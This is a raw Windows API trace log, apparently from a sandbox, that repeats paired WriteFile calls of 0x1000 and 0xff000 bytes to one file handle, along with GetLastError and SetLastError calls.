[0111.108] GetLastError () returned 0x0
[0111.108] SetLastError (dwErrCode=0x0)
[0111.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.134] GetLastError () returned 0x0
[0111.134] SetLastError (dwErrCode=0x0)
[0111.134] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.134] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.160] GetLastError () returned 0x0
[0111.160] SetLastError (dwErrCode=0x0)
[0111.160] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.161] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.247] GetLastError () returned 0x0
[0111.247] SetLastError (dwErrCode=0x0)
[0111.247] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.247] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.343] GetLastError () returned 0x0
[0111.343] SetLastError (dwErrCode=0x0)
[0111.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.369] GetLastError () returned 0x0
[0111.369] SetLastError (dwErrCode=0x0)
[0111.369] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.369] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.395] GetLastError () returned 0x0
[0111.395] SetLastError (dwErrCode=0x0)
[0111.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.481] GetLastError () returned 0x0
[0111.481] SetLastError (dwErrCode=0x0)
[0111.482] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.482] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.543] GetLastError () returned 0x0
[0111.543] SetLastError (dwErrCode=0x0)
[0111.543] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.543] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.568] GetLastError () returned 0x0
[0111.568] SetLastError (dwErrCode=0x0)
[0111.569] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.569] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.595] GetLastError () returned 0x0
[0111.595] SetLastError (dwErrCode=0x0)
[0111.595] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.595] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.663] GetLastError () returned 0x0
[0111.664] SetLastError (dwErrCode=0x0)
[0111.664] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.664] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.730] GetLastError () returned 0x0
[0111.730] SetLastError (dwErrCode=0x0)
[0111.730] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.730] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.756] GetLastError () returned 0x0
[0111.756] SetLastError (dwErrCode=0x0)
[0111.756] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.757] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.782] GetLastError () returned 0x0
[0111.782] SetLastError (dwErrCode=0x0)
[0111.782] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.782] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.808] GetLastError () returned 0x0
[0111.808] SetLastError (dwErrCode=0x0)
[0111.808] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.808] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.833] GetLastError () returned 0x0
[0111.834] SetLastError (dwErrCode=0x0)
[0111.834] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.834] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.860] GetLastError () returned 0x0
[0111.860] SetLastError (dwErrCode=0x0)
[0111.860] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.860] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.885] GetLastError () returned 0x0
[0111.885] SetLastError (dwErrCode=0x0)
[0111.885] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.885] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.910] GetLastError () returned 0x0
[0111.911] SetLastError (dwErrCode=0x0)
[0111.911] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.911] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.937] GetLastError () returned 0x0
[0111.937] SetLastError (dwErrCode=0x0)
[0111.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.005] GetLastError () returned 0x0
[0112.005] SetLastError (dwErrCode=0x0)
[0112.005] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.005] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.031] GetLastError () returned 0x0
[0112.031] SetLastError (dwErrCode=0x0)
[0112.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.101] GetLastError () returned 0x0
[0112.101] SetLastError (dwErrCode=0x0)
[0112.101] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.101] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.209] GetLastError () returned 0x0
[0112.209] SetLastError (dwErrCode=0x0)
[0112.209] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.209] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.235] GetLastError () returned 0x0
[0112.235] SetLastError (dwErrCode=0x0)
[0112.235] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.235] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.261] GetLastError () returned 0x0
[0112.261] SetLastError (dwErrCode=0x0)
[0112.261] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.261] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.288] GetLastError () returned 0x0
[0112.288] SetLastError (dwErrCode=0x0)
[0112.288] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.289] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.320] GetLastError () returned 0x0
[0112.320] SetLastError (dwErrCode=0x0)
[0112.320] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.320] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.386] GetLastError () returned 0x0
[0112.386] SetLastError (dwErrCode=0x0)
[0112.386] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.386] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.453] GetLastError () returned 0x0
[0112.453] SetLastError (dwErrCode=0x0)
[0112.453] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.479] GetLastError () returned 0x0
[0112.479] SetLastError (dwErrCode=0x0)
[0112.479] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.479] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.504] GetLastError () returned 0x0
[0112.505] SetLastError (dwErrCode=0x0)
[0112.505] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.505] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.531] GetLastError () returned 0x0
[0112.531] SetLastError (dwErrCode=0x0)
[0112.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.559] GetLastError () returned 0x0
[0112.559] SetLastError (dwErrCode=0x0)
[0112.560] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.560] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.585] GetLastError () returned 0x0
[0112.585] SetLastError (dwErrCode=0x0)
[0112.585] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.585] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.611] GetLastError () returned 0x0
[0112.611] SetLastError (dwErrCode=0x0)
[0112.611] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.611] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.637] GetLastError () returned 0x0
[0112.637] SetLastError (dwErrCode=0x0)
[0112.637] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.638] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.663] GetLastError () returned 0x0
[0112.663] SetLastError (dwErrCode=0x0)
[0112.663] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.663] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.689] GetLastError () returned 0x0
[0112.689] SetLastError (dwErrCode=0x0)
[0112.689] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.689] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.769] GetLastError () returned 0x0
[0112.769] SetLastError (dwErrCode=0x0)
[0112.769] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.769] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.835] GetLastError () returned 0x0
[0112.835] SetLastError (dwErrCode=0x0)
[0112.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.917] GetLastError () returned 0x0
[0112.934] SetLastError (dwErrCode=0x0)
[0112.934] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.934] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.959] GetLastError () returned 0x0
[0112.960] SetLastError (dwErrCode=0x0)
